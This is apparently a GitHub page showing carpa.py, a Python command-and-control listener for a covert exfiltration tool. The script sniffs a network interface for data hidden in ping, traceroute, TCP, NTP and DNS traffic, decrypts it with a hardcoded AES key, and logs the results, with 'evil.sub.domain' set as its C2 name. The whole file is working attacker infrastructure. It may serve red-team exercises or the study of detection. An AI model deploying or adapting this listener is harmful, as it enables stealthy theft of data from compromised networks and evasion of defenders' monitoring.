-
Notifications
You must be signed in to change notification settings - Fork 11
/
carpa.py
executable file
·209 lines (188 loc) · 7 KB
/
carpa.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
#!/usr/bin/env python3
import re
import sys
import time
import queue
import argparse
import pyaes
import pyscrypt
from pyfiglet import Figlet
from scapy.all import *
from modules.recv.ping import PINGModule
from modules.recv.trace import TRACEModule
from modules.recv.tcp import TCPModule
from modules.recv.ntp import NTPModule
from modules.recv.dns import DNSModule
from modules.recv.faraday import Faraday
# Me
__author__ = "Emilio / @ekio_jp"
__version__ = "2.020"
# Config
PHRASE = 'Waaaaa! awesome :)'
SALT = 'salgruesa'
CONF = {'DEBUG': False,
'CCNAME': 'evil.sub.domain',
'MAGIC': 666,
'SEED1': 1000,
'SEED2': 5000,
'SEED3': 8000
}
FCONF = {'FSERVER': 'http://127.0.0.1:5985',
'FWS': 'demo',
'FUSER': 'faraday',
'FPASSWD': 'changeme'
}
# Define Funtions
def decrypt(ciphertxt):
key = pyscrypt.hash(PHRASE.encode(), SALT.encode(), 1024, 1, 1, 16)
aes = pyaes.AESModeOfOperationCTR(key)
cleartxt = aes.decrypt(bytes.fromhex(ciphertxt))
return cleartxt.decode()
def hextoip(ip):
n = 2
return '.'.join([str(int(ip[i:i+n], 16)) for i in range(0, len(ip), n)])
def printer(fd, text):
print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime()) + text)
find = re.compile('\\b' + text + '\\b')
with open(fd, 'a+') as sfile:
with open(fd, 'r') as xfile:
m = find.findall(xfile.read())
if not m:
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text + '\n')
def parsingopt():
f = Figlet(font='standard')
print(f.renderText('CARPA'))
print('Author: {}'.format(__author__))
print('Version: {}\n'.format(__version__))
parser = argparse.ArgumentParser()
parser.add_argument('-v', '--verbose', action='store_true', help='Enable Debugging')
parser.add_argument('-i', required=True, metavar='<eth0>', dest='nic', help='Sniff Interface')
parser.add_argument('--tcp', required=True, dest='tport', metavar='80', help='TCP exfiltration')
parser.add_argument('-f', '--faraday', action='store_true', help='Faraday Integration')
parser.add_argument('-l', required=True, metavar='<logfile>', dest='fd', help='Log File')
if len(sys.argv) > 1:
try:
return parser.parse_args()
except(argparse.ArgumentError):
parser.error()
else:
parser.print_help()
sys.exit(1)
# Main Function
def main():
options = parsingopt()
ping_q = queue.Queue()
trace_q = queue.Queue()
tcp_q = queue.Queue()
ntp_q = queue.Queue()
dns_q = queue.Queue()
if options.verbose:
CONF['DEBUG'] = True
CONF['IFACE'] = options.nic
# PING Thread
pingdh = PINGModule(ping_q, CONF)
pingdh.daemon = True
pingdh.start()
# TRACE Thread
tracedh = TRACEModule(trace_q, CONF)
tracedh.daemon = True
tracedh.start()
# WEB Thread
tcpdh = TCPModule((tcp_q, int(options.tport)), CONF)
tcpdh.daemon = True
tcpdh.start()
# NTP Thread
ntpdh = NTPModule(ntp_q, CONF)
ntpdh.daemon = True
ntpdh.start()
# DNS Thread
dnsdh = DNSModule(dns_q, CONF)
dnsdh.daemon = True
dnsdh.start()
# Faraday Thread
if options.faraday:
FCONF['FILE'] = options.fd
faradh = Faraday(FCONF)
faradh.daemon = True
faradh.start()
print('Listening.....')
# Running loop
try:
while True:
if not ping_q.empty():
(data, srcip) = ping_q.get()
method = 'PING'
if data == CONF['MAGIC']:
printer(options.fd, method + ':' + srcip + ':Alarm')
else:
cleartxt = decrypt(data)
if cleartxt.startswith('v,') or cleartxt.startswith('n,'):
cleartxt = method + ':' + srcip + ':' + cleartxt
else:
hexip = cleartxt.split(',')[-1]
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip))
printer(options.fd, cleartxt)
elif not trace_q.empty():
(data, srcip) = trace_q.get()
method = 'TRACE'
if data == CONF['MAGIC']:
printer(options.fd, method + ':' + srcip + ':Alarm')
else:
cleartxt = decrypt(data)
if cleartxt.startswith('v,') or cleartxt.startswith('n,'):
cleartxt = method + ':' + srcip + ':' + cleartxt
else:
hexip = cleartxt.split(',')[-1]
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip))
printer(options.fd, cleartxt)
elif not tcp_q.empty():
(data, srcip) = tcp_q.get()
method = 'TCP_' + options.tport
if data == CONF['MAGIC']:
printer(options.fd, method + ':' + srcip + ':Alarm')
else:
cleartxt = decrypt(data)
if cleartxt.startswith('v,') or cleartxt.startswith('n,'):
cleartxt = method + ':' + srcip + ':' + cleartxt
else:
hexip = cleartxt.split(',')[-1]
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip))
printer(options.fd, cleartxt)
elif not ntp_q.empty():
(data, srcip) = ntp_q.get()
method = 'NTP'
if data == CONF['MAGIC']:
printer(options.fd, method + ':' + srcip + ':Alarm')
else:
cleartxt = decrypt(data)
if cleartxt.startswith('v,') or cleartxt.startswith('n,'):
cleartxt = method + ':' + srcip + ':' + cleartxt
else:
hexip = cleartxt.split(',')[-1]
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip))
printer(options.fd, cleartxt)
elif not dns_q.empty():
(data, srcip, method) = dns_q.get()
if data == str(CONF['MAGIC']):
printer(options.fd, method + ':' + srcip + ':Alarm')
else:
cleartxt = decrypt(data)
if cleartxt.startswith('v,') or cleartxt.startswith('n,'):
cleartxt = method + ':' + srcip + ':' + cleartxt
else:
hexip = cleartxt.split(',')[-1]
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip))
printer(options.fd, cleartxt)
except KeyboardInterrupt:
pingdh.join()
tracedh.join()
tcpdh.join()
ntpdh.join()
dnsdh.join()
if options.faraday:
faradh.join()
sys.exit(0)
# Call main
if __name__ == '__main__':
main()